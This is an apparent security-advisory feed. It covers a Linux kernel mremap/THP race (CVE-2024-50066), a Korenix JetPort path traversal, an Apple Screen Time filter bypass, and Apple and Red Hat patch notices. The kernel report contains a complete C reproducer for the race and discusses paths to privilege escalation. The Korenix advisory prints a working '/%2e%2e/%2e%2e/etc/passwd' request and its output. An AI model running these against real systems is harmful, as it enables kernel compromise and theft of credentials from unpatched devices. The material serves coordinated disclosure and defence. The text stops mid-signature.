A security-relevant race between mremap() and THP code has been discovered. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.

    SummaryI found a security-relevant race between mremap() and THP code. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.I also found two other (untested) theoretical races, but those arguably might not even count as bugs, and I'm pretty sure they're not security bugs. I am including my analysis of the closely related non-issues 2 and 3 as context in case you're curious, but I think they're stuff we can deal with on the public list later (or maybe even just leave as-is). Feel free to ignore that part of this report.I will send a suggested patch for the security bug, but I think it's unclear if my patch is actually the right way to fix it.This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2024-12-31.For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.htmlSecurity bug: move_normal_pmd vs MADVISE_COLLAPSEDescriptionIn mremap(), move_page_tables() looks at the type of the PMD entry and the specified address range to figure out by which method the next chunk of page table entries should be moved. At that point, the mmap_lock is held in write mode, but no rmap locks are held. For PMD entries that point to page tables and are fully covered by the source address range, move_pgt_entry(NORMAL_PMD, ...) is called, which first takes rmap locks, then does move_normal_pmd().move_normal_pmd() takes the necessary page table locks at source and destination, then moves an entire page table from the source to the destination:        /* Clear the pmd */        pmd = *old_pmd;        pmd_clear(old_pmd);        VM_BUG_ON(!pmd_none(*new_pmd));        pmd_populate(mm, new_pmd, pmd_pgtable(pmd));        flush_tlb_range(vma, old_addr, old_addr + PMD_SIZE);The problem is: The rmap locks, which protect against concurrent page table removal by retract_page_tables() in the THP code, are only taken after we have inspected the PMD entry to decide how to move it. So we can race as follows (with two processes that have mappings of the same tmpfs file that is stored on a tmpfs mount with huge=advise):process A                      process B=========                      =========mremap  mremap_to    move_vma      move_page_tables        get_old_pmd        alloc_new_pmd                      *** PREEMPT ***                               madvise(MADV_COLLAPSE)                                 do_madvise                                   madvise_walk_vmas                                     madvise_vma_behavior                                       madvise_collapse                                         hpage_collapse_scan_file                                           collapse_file                                             retract_page_tables                                               i_mmap_lock_read(mapping)                                               pmdp_collapse_flush                                               i_mmap_unlock_read(mapping)        move_pgt_entry(NORMAL_PMD, ...)          take_rmap_locks          move_normal_pmd          drop_rmap_locksIn this case, while move_normal_pmd() expects to see a PMD entry pointing to a page table, the PMD entry has actually been cleared. So this line:pmd_populate(mm, new_pmd, pmd_pgtable(pmd));runs pmd_pgtable() on a cleared PMD entry. On typical implementations (including the X86 one), this simply masks off some bits of pmd and assumes that the remainder is a physical address - so pmd_pgtable(0) returns a pointer to the page for physical address 0. Then, pmd_populate() constructs a PMD entry that points to this physical address as a page table.So this ends up installing physical address 0 as a page table.Fixing itI guess there are two ways we could fix this:    Hold the rmap locks much more broadly in move_page_tables(). In particular, take them before inspecting the source pmd, and if we do a PMD-level move, keep them held throughout the entire move.    Add a bunch of extra recheck/retry logic.I think the first option is nicer in terms of code complexity. Moving the lock up requires a small bit of refactoring though, and the broader locking could conceivably degrade the performance of concurrent rmap access.I will send a suggested patch for the first option in a minute (and I have tested that with that patch, my reproducer no longer triggers); but we might want to do some more bikeshedding of whether this is the right way to patch it, and if yes, whether the patch is doing too little lock-dropping for performance or adds too much complexity with the lock-dropping...ReproducerI made a testcase that triggers this issue after a while and causes a splat when the kernel later tries to unmap this page table at physical address 0:#define _GNU_SOURCE#include <err.h>#include <sched.h>#include <stdio.h>#include <string.h>#include <fcntl.h>#include <signal.h>#include <stdlib.h>#include <unistd.h>#include <sys/syscall.h>#include <sys/stat.h>#include <sys/prctl.h>#include <sys/mount.h>#include <sys/mman.h>#include <sys/wait.h>#include <sys/ioctl.h>static void pin_to(int cpu) {  cpu_set_t cset;  CPU_ZERO(&cset);  CPU_SET(cpu, &cset);  if (sched_setaffinity(0, sizeof(cpu_set_t), &cset))    err(1, "set affinity");}#ifndef MADV_COLLAPSE#define MADV_COLLAPSE 25#endif#define SYSCHK(x) ({          \  typeof(x) __res = (x);      \  if (__res == (typeof(x))-1) \    err(1, "SYSCHK(" #x ")"); \  __res;                      \})static void write_file(char *name, char *buf) {  int fd = SYSCHK(open(name, O_WRONLY));  if (write(fd, buf, strlen(buf)) != strlen(buf))    err(1, "write %s", name);  close(fd);}static void write_map(char *name, int outer_id) {  char buf[100];  sprintf(buf, "0 %d 1", outer_id);  write_file(name, buf);}int main(void) {  // set up new mount ns for tmpfs with THP  int outer_uid = getuid();  int outer_gid = getgid();  SYSCHK(unshare(CLONE_NEWNS|CLONE_NEWUSER));  SYSCHK(mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL));  write_file("/proc/self/setgroups", "deny");  write_map("/proc/self/uid_map", outer_uid);  write_map("/proc/self/gid_map", outer_gid);  // make tmpfs with THP  SYSCHK(mount("none", "/tmp", "tmpfs", MS_NOSUID|MS_NODEV, "huge=advise"));  pin_to(0);  while (1) {    int fd = SYSCHK(open("/tmp/a", O_RDWR|O_CREAT, 0600));    void *ptr = SYSCHK(mmap((void*)0x200000UL, 0x200000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED_NOREPLACE, fd, 0));    SYSCHK(ftruncate(fd, 0x1000));    *((volatile char *)ptr) = 'a';    SYSCHK(ftruncate(fd, 0x200000));    SYSCHK(madvise(ptr, 0x200000, MADV_HUGEPAGE));    close(fd);    SYSCHK(unlink("/tmp/a"));    int child = SYSCHK(fork());    if (child == 0) {      for (int i=0; i<512; i++)        ((volatile char *)ptr)[0x1000*i] = 'a';      struct sched_param param = { .sched_priority = 0 };      SYSCHK(sched_setscheduler(0, SCHED_IDLE, &param));      /* race (outer side, will be preempted) */      SYSCHK(mremap((void*)0x200000, 0x200000, 0x200000, MREMAP_MAYMOVE|MREMAP_FIXED, (void*)0x40000000));      return 0;    }    for (int i=0; i<512; i++)      ((volatile char *)ptr)[0x1000*i] = 'a';    usleep(10);    /* race (inner side, will preempt after timer and voluntary resched) */    int madv_res = madvise(ptr, 0x200000, MADV_COLLAPSE);    if (madv_res == -1)      fprintf(stderr, "_");    int wstatus;    SYSCHK(waitpid(child, &wstatus, 0));    SYSCHK(munmap(ptr, 0x200000));    fprintf(stderr, ".");  }}Usage:user@vm:~/collapse-vs-mremap$ gcc -o collapse-vs-mremap-2-noassist collapse-vs-mremap-2-noassist.cuser@vm:~/collapse-vs-mremap$ ./collapse-vs-mremap-2-noassist.................................................................................................................................Result on Linux 6.11 in a QEMU VM, where a bunch of non-zero data is left over in the first 0x1000 bytes of physical memory (note the pmd:00000067):[  120.427189] BUG: Bad page map in process collapse-vs-mre  pte:f000ff53f000ff53 pmd:00000067[  120.428763] addr:0000000040000000 vm_flags:200000fb anon_vma:0000000000000000 mapping:ffff888007dd70f8 index:0[  120.430526] file:a fault:shmem_fault mmap:shmem_mmap read_folio:0x0[  120.431706] CPU: 0 UID: 1000 PID: 1219 Comm: collapse-vs-mre Tainted: G        W          6.11.0 #493[  120.433591] Tainted: [W]=WARN[  120.434201] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014[  120.435849] Call Trace:[  120.436375]  <TASK>[  120.436843]  dump_stack_lvl+0x53/0x70[  120.437570]  print_bad_pte+0x4e6/0x8e0[...][  120.447625]  vm_normal_page+0x1c8/0x260[...][  120.450162]  unmap_page_range+0x914/0x3d10[...][  120.456954]  unmap_vmas+0x1cc/0x390[...][  120.461123]  exit_mmap+0x160/0x6c0[...][  120.465181]  mmput+0xa0/0x3a0[  120.465793]  do_exit+0x7cd/0x27f0[...][  120.472198]  do_group_exit+0xac/0x230[  120.472916]  __x64_sys_exit_group+0x3e/0x50[  120.473722]  x64_sys_call+0x17f3/0x1800[  120.474469]  do_syscall_64+0x4b/0x110[  120.475189]  entry_SYSCALL_64_after_hwframe+0x76/0x7e[...][  120.489560]  </TASK>On other machines where physical page 0 contains only zeroes, the error is different and the kernel complains about the mm's pagetable bytes counter being -4096 on process exit.ImpactReaching this bug requires that you can create shmem/file THP mappings - anonymous THP uses different code that doesn't zap stuff under rmap locks. File THP is gated on an experimental config flag (CONFIG_READ_ONLY_THP_FOR_FS), so on normal distro kernels you need shmem THP to hit this bug. (Some Android kernels set CONFIG_READ_ONLY_THP_FOR_FS=y, but those kernels are older than 6.6, so they're not affected.)As far as I know, getting shmem THP normally requires that you can mount your own tmpfs with the right mount flags, so on normal Linux systems you usually need the ability to create your own user+mount namespace (like my reproducer does).If you trigger this bug in two different processes, or in two different locations in the same process, you should get physical page 0 mapped in two different places. Assuming you know that a certain part of the page contains zeroes, you should be able to get page table entries installed through one of the mappings, and then access those page table entries through the other mapping of the same page table.At that point, I think several bad things can happen that could lead to privilege escalation, though I haven't tested that:    When a PTE is zapped through the page table's first mapping, TLB flushes will only be done for the first mapping, but there can be TLB entries created through the second mapping. So you could probably end up with stale TLB entries pointing to freed pages.    If VMA 1 and VMA 2 share a page table, and you install an anonymous page through VMA 1, and then use mremap() on VMA 2 to move that PTE to another location, and then munmap() VMA 1, you'll end up with an anonymous page that's only mapped into a VMA that is not associated with the page's anon_vma, which leads to kernel UAF. (See https://project-zero.issues.chromium.org/issues/42451486 and https://git.kernel.org/linus/2555283eb40d .)I think the exploitability of this bug depends on whether a struct page has been allocated for physical address 0 - but that seems to be the case at least on the two X86 systems I tested this on.Non-issue 2 (no impact): move_ptes vs MADVISE_COLLAPSEmove_ptes() locks the source and destination page tables as follows:        old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);        if (!old_pte)                return -EAGAIN;        new_pte = pte_offset_map_nolock(mm, new_pmd, new_addr, &new_ptl);        if (!new_pte) {                pte_unmap_unlock(old_pte, old_ptl);                return -EAGAIN;        }        if (new_ptl != old_ptl)                spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);pte_offset_map_nolock() followed by manually taking the page table lock does not (unlike pte_offset_map_lock()) protect against concurrent removal of the page table via retract_page_tables(); and that can happen when need_rmap_locks is false. So I think that after this block, we can end up with new_pte pointing to a page table that has already been scheduled for RCU-delayed freeing. The good news is that (as far as I understand) this can only happen when all the PTEs in the source page table are pte_none(), so no PTEs will actually be written to the detached destination page table, so nothing bad happens.Non-issue 3 (probably no impact, untested): move_huge_pmd vs split_huge_page_to_list_to_orderThe classic way mremap() used to work is:    We make a new VMA.    We move page table entries into the new VMA with move_page_tables(), creating page tables if necessary. Only page table entries are moved; the old page tables stay where they are.    If a page table allocation fails due to OOM, or if the ->mremap handler returns an error, we use move_page_tables() to move the page table entries back to the old VMA; this is expected to always succeed, since the old page tables still exist, so page table allocation should not happen.As a comment in move_page_tables() explains:/* * On error, move entries back from new area to old, * which will succeed since page tables still there, * and then proceed to unmap new area instead of old. */However, that does not hold in the following scenario, assuming that the architecture does not define HAVE_MOVE_PMD (which permits mremap() to move entire page tables):    move_vma() calls move_page_tables()    move_page_tables() moves an anonymous huge PMD entry.    move_page_tables() tries to move more page table entries, but page table allocation fails, and the function returns early.    Another racing process causes the huge PMD entry to be split via split_huge_page_to_list_to_order() (turning the huge PMD entry into a PMD entry pointing to a page table whose PTEs point to all the subpages).    move_vma() calls move_page_tables() in the reverse direction to move PTEs back.    move_page_tables() unexpectedly needs to allocate a new page table to move the PTEs generated by the huge PMD split, which again fails. PTEs are left behind in the destination area.    do_vmi_munmap() removes the temporary destination VMA and removes the left-behind PTEs in the destination area.So in the end, an anonymous page has erroneously disappeared from the VMA, but I think that doesn't lead to any major consequences.FWIW, the architectures that define HAVE_ARCH_TRANSPARENT_HUGEPAGE without also defining HAVE_MOVE_PMD are: mips, loongarch, s390, sparc64, arc, arm.I think similar things can probably also happen on x86/arm64 if, when moving PTEs back with move_pgt_entry(HPAGE_PMD, ...), we race with a concurrent split_huge_page_to_list_to_order() such that move_huge_pmd() fails at the __pmd_trans_huge_lock() and we fall back to the move_ptes() path.CommentsAll commentsja...@google.com <ja...@google.com> #2Oct 15, 2024 11:05AMThe fix for the security bug is currently in the MM tree at https://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm.git/commit/?id=9118e3ff1212add463770537519dce4aed51cf94 , on the mm-hotfixes-unstable branch.ja...@google.com <ja...@google.com> #3Oct 22, 2024 09:28AMMarked as fixed, reassigned to ja...@google.com.Fix landed as https://git.kernel.org/linus/6fa1066fc5d00cb9f1b0e83b7ff6ef98d26ba2aa ("mm/mremap: fix move_normal_pmd/retract_page_tables race").In stable releases:    6.6.58 (2024-10-22)    6.11.5 (2024-10-22)Related CVE Number: CVE-2024-50066.Credit: Jann Horn

Linux 6.6 Race Condition

Korenix JetPort 5601 version 1.2 suffers from a path traversal vulnerability.

    St. Pölten UAS 20241118-1-------------------------------------------------------------------------------                title| Path Traversal              product| Korenix JetPort 5601   vulnerable version| 1.2        fixed version| -           CVE number| CVE-2024-11303               impact| High             homepage| https://www.korenix.com/                found| 2024-05-24                   by| P. Oberndorfer, B. Tösch, M. Narbeshuber-Spletzer,                     | C. Hierzer, M. Pammer                     | These vulnerabilities were discovery during research at                     | St.Pölten UAS, supported and coordinated by CyberDanube.                     |                     | https://fhstp.ac.at | https://cyberdanube.com-------------------------------------------------------------------------------Vendor description-------------------------------------------------------------------------------"Korenix Technology, a Beijer group company within the Industrial Communicationbusiness area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions.With decades of experiences in the industry, we have developed various productlines [...].Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, and Transportation. Worldwide customerbase covers different Sales channels, including end-customers, OEMs, systemintegrators, and brand label partners. [...]"Source: https://www.korenix.com/en/about/index.aspx?kind=3Vulnerable versions-------------------------------------------------------------------------------Korenix JetPort 5601v3 / v1.2Vulnerability overview-------------------------------------------------------------------------------1) Path Traversal (CVE-2024-11303)A path traversal attack for unauthenticated users is possible. This allowsgetting access to the operating system of the device and access informationlike configuration files and connections to other hosts or potentially othersensitive information.Proof of Concept-------------------------------------------------------------------------------1) Path Traversal (CVE-2024-11303)By sending the following request to the following endpoint, a path traversalvulnerability can be triggered:-------------------------------------------------------------------------------GET /%2e%2e/%2e%2e/etc/passwd HTTP/1.1Host: 10.69.10.2Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Te: trailersConnection: keep-alive-------------------------------------------------------------------------------Note, that this is only possible when an interceptor proxy or a command linetool is used. A web browser would encode the characters and the path traversalwould not work.The response to the latter request is shown below:-------------------------------------------------------------------------------HTTP/1.1 200 OKServer: thttpd/2.19-MX Jun  2 2022Content-type: text/plain; charset=iso-8859-1[...]Accept-Ranges: bytesConnection: Keep-AliveContent-length: 86root::0:0:root:/root:/bin/falseadmin:$1$$CoERg7ynjYLsj2j4glJ34.:502:502::/:/bin/true-------------------------------------------------------------------------------The vulnerabilities were manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution-------------------------------------------------------------------------------None. Device is End-of-Life.Workaround-------------------------------------------------------------------------------Limit the access to the device and place it within a segmented network.Recommendation-------------------------------------------------------------------------------CyberDanube recommends Korenix customers to upgrade to another device.Contact Timeline-------------------------------------------------------------------------------2024-09-23: Contacting Beijer Electronics Group via cs@beijerelectronics.com.2024-09-24: Vendor stated, that the device is end-of-life. Contact will ask the            engineering team if there are any changes.2024-10-15: Vendor stated, that the advisory can be published. No further            updates are planned for this device.2024-11-18: Coordinated disclosure of advisory.Web: https://www.fhstp.ac.at/Twitter: https://x.com/fh_stpoeltenMail: mis@fhstp.ac.atEOF T. Weber / @2024

Korenix JetPort 5601 1.2 Path Traversal

Nosebeard Labs has identified a critical vulnerability in the Apple system wide web content filter that allows a full bypass of content restrictions. This vulnerability, which occurs specifically when Screen Time content filtering settings are enabled, permits users or attackers to access restricted websites in Safari without detection. The timeline in this advisory is probably the most interesting thing to note. It shows a Fortune 10 ignoring a concern for years until a news article gets written, and that is truly disappointing. Do better Tim.

    Dear colleagues,Nosebeard Labs is pleased to share its latest advisory, detailing a bypass of Apple's system wide web content filter. The HTML version of this advisory is also available at:https://nosebeard.co/advisories/nbl-001.htmlWarmest regards,Nosebeard Labs## SummaryNosebeard Labs Security Advisory NBL-001Title: Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionOS/watchOS)Advisory ID: NBL-001Date: 2024-11-15Severity: Critical (CVSS 9.1)Affected Product: Safari on any Apple device with Screen Time enabledCVE ID: CVE-2024-44206## OverviewNosebeard Labs has identified a critical vulnerability in Apple’s system wide web content filter that allows a full bypass of content restrictions. This vulnerability, which occurs specifically when Screen Time’s content filtering settings are enabled, permits users or attackers to access restricted websites in Safari without detection. By exploiting a misalignment between Screen Time’s Access Control List (ACL) and WebKit’s URI validation, a specially crafted URI can circumvent both layers of protection.Apple has assigned CVE-2024-44206 to this issue and issued a fix for macOS Sonoma 14.x, iOS/iPadOS 17.x, watchOS 10.x, visionOS 1.x, Safari 17.x and up.However, a fix is still pending for the backport channels.## DescriptionThis vulnerability arises when the WebKit Cocoa layer in Safari ingests a URI without performing comprehensive validation, combined with a failure by the Screen Time ACL filter to recognize and block the malformed URI. The flaw allows a crafted URI to bypass all Screen Time content filtering settings, including deny/allow lists and parental content filters, providing unrestricted access to blocked content.## Affected SystemsThis vulnerability affects all devices on macOS, iOS, iPadOS, watchOS and visionOS platforms with Safari and Screen Time enabled, impacting an estimated 250 million devices globally.## Attack ScenariosThe vulnerability can be exploited both locally and remotely:1. Local Exploitation: Users can manipulate the address bar to manually enter a crafted URI, bypassing Screen Time restrictions.2. Network-Based Exploitation: Attackers can load restricted content remotely by embedding a crafted URI within an iframe, bypassing restrictions without requiring user interaction.## Impact1. Confidentiality: Unrestricted access to restricted websites compromises the confidentiality of content filtering controls, potentially exposing sensitive or inappropriate material.2. Scope and Integrity: This vulnerability spans across two separate security mechanisms (Screen Time and WebKit), representing a critical architecture-level issue. Additionally, accessing unsecured or unlogged resources poses potential integrity risks.## CVSS ScoreVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:NScore: 9.1 (Critical)## MitigationsUpgrade to the latest iOS/iPadOS 17.x or 18.x / macOS Sonoma 14.x  / visionOS 1.x / watchOS 10.x / Safari 17.6 respectively. Users who are unable to apply a fix can contact us for more info.## Vendor ResponseApple has issued CVE-2024-44206 and supplied a fix within WebKit; however, a fix remains pending for iOS/iPadOS version 16.x. We recommend that Apple undertake further review to address the issue comprehensively.## Timeline–Milestone:2020-11-24 Vulnerability discovered internally at NBL–Milestone:2021-03-08 Initial disclosure to Apple Product Security–2021-03-09 Apple Product Security recommends to open a bug report on Feedback Assistant2021-03-10 We opened a bug report on Feedback Assistant as advised by Apple Product Security2021-03-15 We follow-up by adding additional info to the open bug report on F.A.2021-08-16 We follow-up again referring Apple Product Security to open ticket, stressing that the issue can be also demonstrated in their EU Apple Stores2021-08-24 We follow-up again to Apple Product Security, referring to the previous follow-up2021-08-25 Rejected by Apple Security - “We do not see any actual security implications. We recommended reporting this issue via Feedback Assistant”2024-03-18 NBL submits a second report 3 years later to appeal via Apple Security Bounty Program, urging to re-evaluate, also providing PoC code2024-03-19 Apple Security Research closes report - “We’re unable to identify a security issue in your report” - “Screen Time is not intended to protect a device against manipulation” - “We recommend reporting this via Feedback Assistant”2024-04-02 Status of Bug Report on F.A. from 2021-03-10 “Open, Similar Reports None”2024-04-03 We follow-up again asking Apple Security for a final reassessment, providing a temporary workaround2024-04-03 Apple Security recommends opening a bug report - “ST is not intended to protect a device against manipulation” - “MDM profiles provide configuration management but do not establish additional security boundaries beyond what iOS and iPadOS have to offer.”2024-05-05 Initial contact with Joanna Stern of WSJ2024-05-06 Referring PSIRT ticket # directly to an Apple PSIRT contact via undisclosed SOC - no response2024-05-28 Joanna Stern/WSJ runs Apple through this2024-05-29 Apple commits patches to Safari branch–Milestone:2024-06-05 Wall Street Journal addresses our finding in their article “A Bug Allowed Kids to Visit X-Rated Sites. Apple Took Three Years to Fix It.” by Joanna Stern–2024-06-18 We follow-up again with Urgent request for re-evaluation to Apple Product Security (“Addendum”)2024-06-27 We follow-up on our follow-up Update Request Screen Time Security Vulnerability Report (“Follow-Up”)2024-07-23 Apple releases fix in iOS 17.6RC et al.2024-07-26 Letter to Apple welcoming first fix, reiterating our dedication to Responsible Disclosure, intended to coordinate further disclosure process and close the affair asking them to give credit and align to their SBP–Milestone:2024-07-29 Apple releases fixes for macOS Sonoma 14.6, iOS/iPadOS 17.6, watchOS 10.6, visionOS 1.3 and Safari 17.6, leaving iOS/iPadOS 16.x still affected.–2024-07-31 Apple responds “ST is not intended to protect a device from malicious manipulation, and bug reports on features like this are therefore typically ineligible for credit or Apple Security Bounty award. However, we’d like to make an exception and award you USD (...)* as a thank you for your report. Also, we’d like to credit you on our security advisory under the ‘Additional recognition’ section of the page.” *We were offered the minimum possible amount.2024-08-01 We inquire about the bounty amount asking Apple to “comment on our proposed evaluation under the CVSS metrics, sharing with us their transparent assessment of the vulnerability under the terms and broad criteria of the bounty program.”2024-08-01 Apple “appreciates our suggestions, but CVSS scores are not something that they publish to their security advisory.”2024-08-03 Patches merged with public WebKit branch2024-08-19 We are reaching out to Apple again “Ringing the escalation bell for the SBP team”2024-08-23 Apple Product Security advises a call2024-09-10 Apple Security rejects adjustment of the bounty as “out of scope/edge case policy” in the call, offering a $20,000 charity donation instead We request Apple to assign a CVE.–Milestone:2024-10-17 Apple follows-up with CVE-2024-44206 and an update to the advisorieshttps://support.apple.com/en-us/120909https://support.apple.com/en-us/120911https://support.apple.com/en-us/120913https://support.apple.com/en-us/120915https://support.apple.com/en-us/120916–2024-10-23 We follow-up one more time to request a further review of the severity and reward2024-11-02 NBL-001 advisory draft shared with Apple2024-11-14 Apple requests naming their charity offer among bounty payout details, leaving out further comments on the contents of the advisory itself.2024-11-15 NBL-001 published## ContactFor more information, please contact Andreas Jaegersberger or Ro Achterberg from Nosebeard Labs at labs@nosebeard.co.## Special ThanksMuch love goes out to Joanna Stern for her incredible support in making this happen.We also want to thank Aaron Kaplan for the tailwind throughout the journey and Arnoud Engelfriet for the rapid legal advice.Buongiorno to the cap’n <3

Apple Web Content Filter Bypass

Apple Security Advisory 11-19-2024-5 - macOS Sequoia 15.1.1 addresses code execution vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1

macOS Sequoia 15.1.1 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/121753.

Apple maintains a Security Releases page at  
https://support.apple.com/100100 which lists recent  
software updates with security advisories.

JavaScriptCore  
Available for: macOS Sequoia  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
actively exploited on Intel-based Mac systems.  
Description: The issue was addressed with improved checks.  
WebKit Bugzilla: 283063  
CVE-2024-44308: Clément Lecigne and Benoît Sevens of Google's Threat  
Analysis Group

WebKit  
Available for: macOS Sequoia  
Impact: Processing maliciously crafted web content may lead to a cross  
site scripting attack. Apple is aware of a report that this issue may  
have been actively exploited on Intel-based Mac systems.  
Description: A cookie management issue was addressed with improved state  
management.  
WebKit Bugzilla: 283095  
CVE-2024-44309: Clément Lecigne and Benoît Sevens of Google's Threat  
Analysis Group

macOS Sequoia 15.1.1 may be obtained from the Mac App Store or Apple's  
Software Downloads web site: https://support.apple.com/downloads/

All information is also posted on the Apple Security Releases  
web site: https://support.apple.com/100100.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmc9JSQACgkQX+5d1TXa  
Ivo92g/8Dm9sVuOeQTu56JLi2yAlbu9NK8Udb4ByFIsi63HWksJ6rK9LzZfTF8Yd  
Z3SBk7aIHl9tMj2gJ6QJ71SwCdN/fTnAC9na5fZwUjdsjuH1uoPmiMSA48MDwmQC  
vf6grIhskLNi0bQrpcKR1C79fmGlO7Nua3zmbvdvs41/3g3A7udvf2KpZTkkDrP4  
+zwsVCJCu4xHTo5bU0NrM/Cbon+TO01/gyhnngZzl65bIPkhyeEDiVHW3K6aKDA8  
XpClgMGe7ZIRao0hmqqK+YYPso/yDdUDpHlfEFL/YYseVThd+t6EPn4irWFPCPTv  
usiMVUpOpqmMHfPaVO/uzwDR/wgpB8ws4BsBjytQ2q5ZZgyxsIUx6cEJazgbRXtI  
UIJWgodel8AClhWrRo8c14rIuUH1jqMh8EcbimFdC62vSivuNgwNdBd5U2wRnELr  
w1I65s3u7f3Qly8himbl+41ueYcgInsVld7206tk8Ygmm7zA4kupLBEH+EeK43c3  
2P0NF7CMQCnJcwbEqusIUi8AOSN2VgGi9E6BjjJGnLhbbieX/ssKTTbv+mt0ctyq  
5uB3WUZBDbhJKj8p/0+iBAlzZUJDkrudmy8No9Zc2ImTcZ61gP2Zbh/5lcI8hZu+  
SKOrc+1s5nRW1FcGXL2ZzjtnmXnU6DGFfN7stVtTmVAg4dEWzeo=  
=IY5p  
-----END PGP SIGNATURE-----

Apple Security Advisory 11-19-2024-5

Red Hat Security Advisory 2024-9690-03 - An update for tigervnc is now available for Red Hat Enterprise Linux 8.8 Extended Update Support. Issues addressed include buffer overflow and privilege escalation vulnerabilities.

    The following advisory data is extracted from:https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_9690.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: tigervnc security updateAdvisory ID:        RHSA-2024:9690-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:9690Issue date:         2024-11-21Revision:           03CVE Names:          CVE-2024-9632====================================================================Summary: An update for tigervnc is now available for Red Hat Enterprise Linux 8.8 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Virtual Network Computing (VNC) is a remote display system which allows users to view a computing desktop environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. TigerVNC is a suite of VNC servers and clients.Security Fix(es):* xorg-x11-server: tigervnc: heap-based buffer overflow privilege escalation vulnerability (CVE-2024-9632)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-9632References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2317233

Red Hat Security Advisory 2024-9690-03

Apple Security Advisory 11-19-2024-4 - iOS 17.7.2 and iPadOS 17.7.2 addresses code execution vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2iOS 17.7.2 and iPadOS 17.7.2 addresses the following issues.Information about the security content is also available athttps://support.apple.com/121754.Apple maintains a Security Releases page athttps://support.apple.com/100100 which lists recentsoftware updates with security advisories.JavaScriptCoreAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch2nd generation and later, iPad Pro 10.5-inch, iPad Pro 11-inch 1stgeneration and later, iPad Air 3rd generation and later, iPad 6thgeneration and later, and iPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to arbitrarycode execution. Apple is aware of a report that this issue may have beenactively exploited on Intel-based Mac systems.Description: The issue was addressed with improved checks.WebKit Bugzilla: 283063CVE-2024-44308: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupWebKitAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch2nd generation and later, iPad Pro 10.5-inch, iPad Pro 11-inch 1stgeneration and later, iPad Air 3rd generation and later, iPad 6thgeneration and later, and iPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to a crosssite scripting attack. Apple is aware of a report that this issue mayhave been actively exploited on Intel-based Mac systems.Description: A cookie management issue was addressed with improved statemanagement.WebKit Bugzilla: 283095CVE-2024-44309: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupThis update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/iTunes and Software Update on the device will automatically checkApple's update server on its weekly schedule. When an update isdetected, it is downloaded and the option to be installed ispresented to the user when the iOS device is docked. We recommendapplying the update immediately if possible. SelectingDon't Install will present the option the next time you connectyour iOS device.The automatic update process may take up to a week depending onthe day that iTunes or the device checks for updates. You maymanually obtain the update via the Check for Updates buttonwithin iTunes, or the Software Update on your device.To check that the iPhone, iPod touch, or iPad has been updated:* Navigate to Settings* Select General* Select About. The version after applying this update will be"iOS 17.7.2 and iPadOS 17.7.2".All information is also posted on the Apple Security Releasesweb site: https://support.apple.com/100100.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP 